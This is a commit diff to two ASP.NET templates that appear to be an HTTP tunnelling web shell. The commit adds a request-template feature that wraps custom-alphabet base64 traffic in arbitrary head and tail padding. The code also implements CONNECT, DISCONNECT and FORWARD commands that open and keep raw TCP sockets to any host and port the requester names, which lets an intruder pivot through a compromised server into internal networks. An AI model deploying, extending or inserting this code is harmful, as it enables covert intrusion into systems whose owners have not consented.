Skip to content

Commit 4938d6b

Browse files
committed
.net add --request-template support
1 parent 275c2e8 commit 4938d6b

File tree

2 files changed

+87
-64
lines changed

2 files changed

+87
-64
lines changed

templates/tunnel.ashx

+13-2
Original file line numberDiff line numberDiff line change
@@ -117,11 +117,22 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
117117

118118
String en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
119119
String de = "BASE64 CHARSLIST";
120+
121+
String requestDataHead = "";
122+
String requestDataTail = "";
120123

121124
if (context.Request.ContentLength != -1) {
122125
byte[] buff = new byte[context.Request.ContentLength];
123126
context.Request.InputStream.Read(buff, 0, buff.Length);
124-
string b64 = StrTr(Encoding.Default.GetString(buff), de, en);
127+
String inputData = Encoding.Default.GetString(buff);
128+
if (USE_REQUEST_TEMPLATE == 1 && inputData.Length > 0) {
129+
requestDataHead = inputData.Substring(0, START_INDEX);
130+
requestDataTail = inputData.Substring(inputData.Length - END_INDEX, END_INDEX);
131+
132+
inputData = inputData.Substring(START_INDEX);
133+
inputData = inputData.Substring(0, inputData.Length - END_INDEX);
134+
}
135+
string b64 = StrTr(inputData, de, en);
125136
byte[] data = Convert.FromBase64String(b64);
126137
info = blv_decode(data);
127138
}
@@ -141,7 +152,7 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
141152
try{
142153
Stream body = request.GetRequestStream();
143154
info[REDIRECTURL] = null;
144-
byte[] data = Encoding.Default.GetBytes(StrTr(Convert.ToBase64String(blv_encode(info)), en, de));
155+
byte[] data = Encoding.Default.GetBytes( requestDataHead + StrTr(Convert.ToBase64String(blv_encode(info)), en, de) + requestDataTail );
145156
body.Write(data, 0, data.Length);
146157
body.Close();
147158
} catch (Exception e){}

templates/tunnel.aspx

+74-62
Original file line numberDiff line numberDiff line change
@@ -113,11 +113,23 @@
113113
114114
String en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
115115
String de = "BASE64 CHARSLIST";
116+
117+
String requestDataHead = "";
118+
String requestDataTail = "";
116119
117120
if (Request.ContentLength != -1) {
118121
byte[] buff = new byte[Request.ContentLength];
119122
Request.InputStream.Read(buff, 0, buff.Length);
120-
string b64 = StrTr(Encoding.Default.GetString(buff), de, en);
123+
String inputData = Encoding.Default.GetString(buff);
124+
125+
if (USE_REQUEST_TEMPLATE == 1 && inputData.Length > 0) {
126+
requestDataHead = inputData.Substring(0, START_INDEX);
127+
requestDataTail = inputData.Substring(inputData.Length - END_INDEX, END_INDEX);
128+
129+
inputData = inputData.Substring(START_INDEX);
130+
inputData = inputData.Substring(0, inputData.Length - END_INDEX);
131+
}
132+
string b64 = StrTr(inputData, de, en);
121133
byte[] data = Convert.FromBase64String(b64);
122134
info = blv_decode(data);
123135
}
@@ -134,76 +146,76 @@
134146
} catch (Exception e){}
135147
}
136148
137-
try{
138-
Stream body = request.GetRequestStream();
139-
info[REDIRECTURL] = null;
140-
byte[] data = Encoding.Default.GetBytes(StrTr(Convert.ToBase64String(blv_encode(info)), en, de));
141-
body.Write(data, 0, data.Length);
142-
body.Close();
143-
} catch (Exception e){}
144-
145-
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
146-
WebHeaderCollection webHeader = response.Headers;
147-
for (int i=0;i < webHeader.Count; i++)
148-
{
149-
string rkey = webHeader.GetKey(i);
150-
if (rkey != "Content-Length" && rkey != "Transfer-Encoding")
151-
Response.AddHeader(rkey, webHeader[i]);
152-
}
149+
try{
150+
Stream body = request.GetRequestStream();
151+
info[REDIRECTURL] = null;
152+
byte[] data = Encoding.Default.GetBytes( requestDataHead + StrTr(Convert.ToBase64String(blv_encode(info)), en, de) + requestDataTail );
153+
body.Write(data, 0, data.Length);
154+
body.Close();
155+
} catch (Exception e){}
153156
154-
StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
155-
string rbody = repBody.ReadToEnd();
156-
Response.AddHeader("Content-Length", rbody.Length.ToString());
157-
Response.Write(rbody);
158-
return;
157+
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
158+
WebHeaderCollection webHeader = response.Headers;
159+
for (int i=0;i < webHeader.Count; i++)
160+
{
161+
string rkey = webHeader.GetKey(i);
162+
if (rkey != "Content-Length" && rkey != "Transfer-Encoding")
163+
Response.AddHeader(rkey, webHeader[i]);
159164
}
160165
161-
Response.StatusCode = HTTPCODE;
162-
String cmd = (String) info[CMD];
163-
if (cmd != null) {
164-
String mark = (String) info[MARK];
165-
if (cmd == "CONNECT") {
166+
StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
167+
string rbody = repBody.ReadToEnd();
168+
Response.AddHeader("Content-Length", rbody.Length.ToString());
169+
Response.Write(rbody);
170+
return;
171+
}
172+
173+
Response.StatusCode = HTTPCODE;
174+
String cmd = (String) info[CMD];
175+
if (cmd != null) {
176+
String mark = (String) info[MARK];
177+
if (cmd == "CONNECT") {
178+
try {
179+
String target = (String) info[IP];
180+
int port = int.Parse((String) info[PORT]);
181+
IPAddress ip;
166182
try {
167-
String target = (String) info[IP];
168-
int port = int.Parse((String) info[PORT]);
169-
IPAddress ip;
170-
try {
171-
ip = IPAddress.Parse(target);
172-
} catch (Exception ex) {
173-
IPHostEntry host = Dns.GetHostByName(target);
174-
ip = host.AddressList[0];
175-
}
176-
System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
177-
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
183+
ip = IPAddress.Parse(target);
184+
} catch (Exception ex) {
185+
IPHostEntry host = Dns.GetHostByName(target);
186+
ip = host.AddressList[0];
187+
}
188+
System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
189+
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
178190
179-
// set the connect timeout to 2 seconds, default 20 seconds
180-
IAsyncResult result = sender.BeginConnect(remoteEP,null,null);
181-
bool success = result.AsyncWaitHandle.WaitOne( 2000, true );
191+
// set the connect timeout to 2 seconds, default 20 seconds
192+
IAsyncResult result = sender.BeginConnect(remoteEP,null,null);
193+
bool success = result.AsyncWaitHandle.WaitOne( 2000, true );
182194
183-
if ( sender.Connected ) {
184-
sender.Blocking = false;
185-
Application.Add(mark, sender);
186-
rinfo[STATUS] = "OK";
195+
if ( sender.Connected ) {
196+
sender.Blocking = false;
197+
Application.Add(mark, sender);
198+
rinfo[STATUS] = "OK";
199+
} else {
200+
sender.Close();
201+
rinfo[STATUS] = "FAIL";
202+
if ( success ) {
203+
rinfo[ERROR] = "Port close";
187204
} else {
188-
sender.Close();
189-
rinfo[STATUS] = "FAIL";
190-
if ( success ) {
191-
rinfo[ERROR] = "Port close";
192-
} else {
193-
rinfo[ERROR] = "Port filtered";
194-
}
205+
rinfo[ERROR] = "Port filtered";
195206
}
196-
} catch (Exception ex) {
197-
rinfo[STATUS] = "FAIL";
198-
rinfo[ERROR] = ex.Message;
199207
}
200-
} else if (cmd == "DISCONNECT") {
201-
try {
202-
Socket s = (Socket)Application[mark];
203-
s.Close();
204-
} catch (Exception ex){
205-
}
206-
Application.Remove(mark);
208+
} catch (Exception ex) {
209+
rinfo[STATUS] = "FAIL";
210+
rinfo[ERROR] = ex.Message;
211+
}
212+
} else if (cmd == "DISCONNECT") {
213+
try {
214+
Socket s = (Socket)Application[mark];
215+
s.Close();
216+
} catch (Exception ex){
217+
}
218+
Application.Remove(mark);
207219
} else if (cmd == "FORWARD") {
208220
Socket s = (Socket)Application[mark];
209221
try {

0 commit comments

Comments
 (0)